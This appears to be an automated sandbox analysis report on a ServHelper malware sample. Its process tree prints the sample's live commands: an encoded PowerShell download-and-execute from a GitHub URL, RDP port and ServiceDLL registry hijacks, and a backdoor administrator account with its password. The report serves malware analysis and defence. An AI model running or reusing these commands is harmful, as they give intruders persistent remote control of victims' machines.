Analysis

  • max time kernel
    113s
  • max time network
    124s
  • platform
    windows10_x64
  • resource
    win10-en-20210920
  • submitted
    22-09-2021 06:21

General

  • Target

    61d5e32562d1c70daf0a3112f7888258.exe

  • Size

    5.7MB

  • MD5

    61d5e32562d1c70daf0a3112f7888258

  • SHA1

    11c54ce99e87637f58c7bc0bd8134c73df9bf879

  • SHA256

    da012f669961c3631b10dd147f38ca34796c40692e01b51dd206f6a5b755e605

  • SHA512

    9cad97c4c71535a2391ad73d13e27748300e3147a3383d4eee85caadb461815f9ee8e9b172e732df16813fa8f5ffdc7115e2740778ebc51c536ab06fc7910cc2

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • suricata: ET MALWARE ServHelper CnC Inital Checkin

    suricata: ET MALWARE ServHelper CnC Inital Checkin

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\61d5e32562d1c70daf0a3112f7888258.exe
    "C:\Users\Admin\AppData\Local\Temp\61d5e32562d1c70daf0a3112f7888258.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2652
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3584
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\lgm3nitg\lgm3nitg.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1076
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA08B.tmp" "c:\Users\Admin\AppData\Local\Temp\lgm3nitg\CSC9212ECC7539C4C0BA0BEA2E086131CD.TMP"
          4⤵
            PID:1412
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:804
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1180
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2568
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1636
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:1504
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:1816
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1180
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1848
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:2784
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1192
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4088
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start rdpdr
                      6⤵
                        PID:3104
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2800
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1096
                    • C:\Windows\system32\net.exe
                      net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2604
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start TermService
                        6⤵
                          PID:984
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                    3⤵
                      PID:1728
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                      3⤵
                        PID:3848
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user WgaUtilAcc 000000 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:896
                    • C:\Windows\system32\net.exe
                      net.exe user WgaUtilAcc 000000 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1880
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                        3⤵
                          PID:1740
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user WgaUtilAcc w6OkGKLL /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3244
                      • C:\Windows\system32\net.exe
                        net.exe user WgaUtilAcc w6OkGKLL /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3848
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user WgaUtilAcc w6OkGKLL /add
                          3⤵
                            PID:352
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1272
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:852
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                            3⤵
                              PID:1816
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" RSSLLXYN$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3980
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" RSSLLXYN$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:1308
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RSSLLXYN$ /ADD
                          1⤵
                            PID:1432
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3704
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:3332
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                3⤵
                                  PID:3752
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user WgaUtilAcc w6OkGKLL
                              1⤵
                              • Suspicious use of WriteProcessMemory
                              PID:2256
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc w6OkGKLL
                                2⤵
                                • Suspicious use of WriteProcessMemory
                                PID:1756
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 user WgaUtilAcc w6OkGKLL
                                  3⤵
                                    PID:1736
                              • C:\Windows\System32\cmd.exe
                                cmd.exe /C wmic path win32_VideoController get name
                                1⤵
                                • Suspicious use of WriteProcessMemory
                                PID:2352
                                • C:\Windows\System32\Wbem\WMIC.exe
                                  wmic path win32_VideoController get name
                                  2⤵
                                    PID:1568
                                • C:\Windows\System32\cmd.exe
                                  cmd.exe /C wmic CPU get NAME
                                  1⤵
                                    PID:3080
                                    • C:\Windows\System32\Wbem\WMIC.exe
                                      wmic CPU get NAME
                                      2⤵
                                        PID:3960
                                    • C:\Windows\System32\cmd.exe
                                      cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                      1⤵
                                        PID:4008
                                        • C:\Windows\system32\cmd.exe
                                          cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                          2⤵
                                            PID:2260
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                              3⤵
                                              • Blocklisted process makes network request
                                              • Drops file in Program Files directory
                                              • Drops file in Windows directory
                                              • Modifies data under HKEY_USERS
                                              • Suspicious behavior: EnumeratesProcesses
                                              PID:1308

                                        Network

                                        MITRE ATT&CK Enterprise v6

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        • C:\Users\Admin\AppData\Local\Temp\RESA08B.tmp

                                          MD5

                                          2bb5d4a9cb67f1d69e19a04c610e1aa3

                                          SHA1

                                          c4802dae620cc54c12fa9ada50d87f633505ec98

                                          SHA256

                                          2f27d71182119556497413082a9ea1f44a0119277d8e8a07064fc8661387dbb9

                                          SHA512

                                          5a6b75256a5a953a7d3defaaafe8637799a31c1b9bb1de9b9b249e0033f1187d5590076d9dae48c9d22f09a5e4306d824106d76cfd63eeeaac0a2f88a7ae2848

                                        • C:\Users\Admin\AppData\Local\Temp\get-dnsprovider.PS1

                                          MD5

                                          9fca6b1768eba2c5d42f189123152e32

                                          SHA1

                                          560ec3249af6e8d82e994554475b870d32145352

                                          SHA256

                                          c5c7012656bfebd5ba7d4ae8459bd2fcc57ac661e413e2b1da339b9fba86de1f

                                          SHA512

                                          b72f2bc28dcde144596eabb62375479c4ddb3b004ac8759ee9523170289f55572784e695a552fd612a5dc5a56f6c76b3baee9831c7cac7123f72b2eb2aadb3f2

                                        • C:\Users\Admin\AppData\Local\Temp\lgm3nitg\lgm3nitg.dll

                                          MD5

                                          aa6426e73cfa9957b2a002c3866be48a

                                          SHA1

                                          db252d123fa4583da323c8d8db84213d75964a4e

                                          SHA256

                                          37ad29fb4dd4b095ef78de2bcd9b4159ba51e7eed0e09ef35214b1c322020cfa

                                          SHA512

                                          bca9653887009f6df2d5a62349e6a4bb12e6b9a395ae2897c4346130c91af7cbcf193df04d76603b12ef9003e56ef3885bc0f22c310ed3e0f2e03fb55a551d88

                                        • C:\Users\Admin\AppData\Local\Temp\ready.ps1

                                          MD5

                                          28d9755addec05c0b24cca50dfe3a92b

                                          SHA1

                                          7d3156f11c7a7fb60d29809caf93101de2681aa3

                                          SHA256

                                          abb6ceb444b3dc29fcdcb8bda4935a6a792b85bb7049cb2710d97415d9411af9

                                          SHA512

                                          891a72eeef42be3f04067225a9665020704c99f9c17473ca57e5b946dfa35cb469fa91a794ea30115ce3ed0e940edb3ccff69a16a888379f5ac46a12afaa4c42

                                        • \??\c:\Users\Admin\AppData\Local\Temp\lgm3nitg\CSC9212ECC7539C4C0BA0BEA2E086131CD.TMP

                                          MD5

                                          59016e2dd4463ec4b4403558df109527

                                          SHA1

                                          199b052d69e7ba6b037c88db9020b689c89d5aa5

                                          SHA256

                                          457cbe18863e13a4b79644b165d91f3d612901e8accdb9f7c5fef83b2b131e9c

                                          SHA512

                                          7d4edd20eee5af9ecb6b7317765c7f95b954342d52c302e668539d943ce32fff21c82296b3e20822ae4bca4c41ca54014c2fc554dc3cb2bda2f83d6d6337c70b

                                        • \??\c:\Users\Admin\AppData\Local\Temp\lgm3nitg\lgm3nitg.0.cs

                                          MD5

                                          9f8ab7eb0ab21443a2fe06dab341510e

                                          SHA1

                                          2b88b3116a79e48bab7114e18c9b9674e8a52165

                                          SHA256

                                          e1a4fbe36125e02e100e729ce92ab74869423da87cb46da6e3c50d7c4410b2d9

                                          SHA512

                                          53f5dc4c853af5a412fde895635ef4b2de98a165e3546130fdd17a37a5c3b177e21eccf70a5ddf936ac491da2d7e8fcdbc1e564a95ec01b097841aa78869989b

                                        • \??\c:\Users\Admin\AppData\Local\Temp\lgm3nitg\lgm3nitg.cmdline

                                          MD5

                                          6724c7d45d268192f7909bfd5cba7678

                                          SHA1

                                          c262d47aba13cdd1445fbbab33f31a8cee9f9d4a

                                          SHA256

                                          27ccc2d43665f61d8b041e2bf026a5df42da0273b3ef031b496188f83e012eff

                                          SHA512

                                          1986846c600ff2b8bd5fde32d997edd07dc17581b202e7d130220969d4ff9b0755758a7912c2fd268df08a64d6321decfaa68f047e6413ae148dfbb97bd7a6e6

                                        • \Windows\Branding\mediasrv.png

                                          MD5

                                          0750828e5a80dae0280c43945332e145

                                          SHA1

                                          fa1c85c33c0b99f8df14b6ccbd37f5df3d62c30c

                                          SHA256

                                          637dd8f4245397e281bf84433f75eeb40461e70e81a11a4c2c252dc8f9e4b947

                                          SHA512

                                          a45f4023f5d8951fef44bbe830c1b8992e7cb9c013882048d7227bac0c76869584c1ccc1d323803ced7a1e353998d0bface12eb9ef1dcd04e8e39b155528fd14

                                        • \Windows\Branding\mediasvc.png

                                          MD5

                                          0941efccfdbde6a619081456be071102

                                          SHA1

                                          4d9079f335bfdb4e88e022ffdd2193c4561f099d

                                          SHA256

                                          99dbace98f5f29a5c0c962db270dc195a8b6d2f8dbb009b79b929ff9d68d8281

                                          SHA512

                                          bbb587471dec6beae7852ae2ee1fff0efb26ce57ab69dbaf4385c965bf09a31be60c67951e52f488866daa0effab715e6b1a0aca5b02a7fdcc5dd586d84d56ab

                                        • memory/352-355-0x0000000000000000-mapping.dmp

                                        • memory/804-171-0x0000020E44AF3000-0x0000020E44AF5000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/804-161-0x0000000000000000-mapping.dmp

                                        • memory/804-170-0x0000020E44AF0000-0x0000020E44AF2000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/804-174-0x0000020E44AF6000-0x0000020E44AF8000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/804-212-0x0000020E44AF8000-0x0000020E44AFA000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/852-356-0x0000000000000000-mapping.dmp

                                        • memory/984-349-0x0000000000000000-mapping.dmp

                                        • memory/1076-135-0x0000000000000000-mapping.dmp

                                        • memory/1096-347-0x0000000000000000-mapping.dmp

                                        • memory/1180-338-0x0000000000000000-mapping.dmp

                                        • memory/1180-252-0x000001EB77236000-0x000001EB77238000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/1180-253-0x000001EB77238000-0x000001EB7723A000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/1180-214-0x000001EB77233000-0x000001EB77235000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/1180-213-0x000001EB77230000-0x000001EB77232000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/1180-200-0x0000000000000000-mapping.dmp

                                        • memory/1192-343-0x0000000000000000-mapping.dmp

                                        • memory/1308-380-0x000002177AD60000-0x000002177AD62000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/1308-367-0x0000000000000000-mapping.dmp

                                        • memory/1308-358-0x0000000000000000-mapping.dmp

                                        • memory/1308-381-0x000002177AD63000-0x000002177AD65000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/1308-382-0x000002177AD66000-0x000002177AD68000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/1308-420-0x000002177AD68000-0x000002177AD69000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/1412-141-0x0000000000000000-mapping.dmp

                                        • memory/1432-359-0x0000000000000000-mapping.dmp

                                        • memory/1504-300-0x0000000000000000-mapping.dmp

                                        • memory/1568-364-0x0000000000000000-mapping.dmp

                                        • memory/1636-299-0x0000000000000000-mapping.dmp

                                        • memory/1728-452-0x0000000000000000-mapping.dmp

                                        • memory/1736-363-0x0000000000000000-mapping.dmp

                                        • memory/1740-353-0x0000000000000000-mapping.dmp

                                        • memory/1756-362-0x0000000000000000-mapping.dmp

                                        • memory/1816-301-0x0000000000000000-mapping.dmp

                                        • memory/1816-357-0x0000000000000000-mapping.dmp

                                        • memory/1848-339-0x0000000000000000-mapping.dmp

                                        • memory/1880-352-0x0000000000000000-mapping.dmp

                                        • memory/2260-366-0x0000000000000000-mapping.dmp

                                        • memory/2568-241-0x0000000000000000-mapping.dmp

                                        • memory/2568-289-0x0000024ACA5E8000-0x0000024ACA5EA000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2568-254-0x0000024ACA5E0000-0x0000024ACA5E2000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2568-255-0x0000024ACA5E3000-0x0000024ACA5E5000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2568-288-0x0000024ACA5E6000-0x0000024ACA5E8000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2604-348-0x0000000000000000-mapping.dmp

                                        • memory/2652-120-0x00000171FE976000-0x00000171FE977000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/2652-119-0x00000171FE975000-0x00000171FE976000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/2652-117-0x00000171FE970000-0x00000171FE972000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2652-118-0x00000171FE973000-0x00000171FE975000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2652-115-0x00000171FED90000-0x00000171FF18F000-memory.dmp

                                          Filesize

                                          4.0MB

                                        • memory/2784-342-0x0000000000000000-mapping.dmp

                                        • memory/2800-346-0x0000000000000000-mapping.dmp

                                        • memory/3104-345-0x0000000000000000-mapping.dmp

                                        • memory/3332-360-0x0000000000000000-mapping.dmp

                                        • memory/3584-160-0x00000260256F8000-0x00000260256F9000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/3584-139-0x00000260256F3000-0x00000260256F5000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3584-140-0x00000260256F6000-0x00000260256F8000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3584-121-0x0000000000000000-mapping.dmp

                                        • memory/3584-126-0x00000260257D0000-0x00000260257D1000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/3584-129-0x000002603DB00000-0x000002603DB01000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/3584-138-0x00000260256F0000-0x00000260256F2000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3584-145-0x000002603DA90000-0x000002603DA91000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/3584-153-0x000002603E650000-0x000002603E651000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/3584-152-0x000002603E2C0000-0x000002603E2C1000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/3752-361-0x0000000000000000-mapping.dmp

                                        • memory/3848-354-0x0000000000000000-mapping.dmp

                                        • memory/3848-453-0x0000000000000000-mapping.dmp

                                        • memory/3960-365-0x0000000000000000-mapping.dmp

                                        • memory/4088-344-0x0000000000000000-mapping.dmp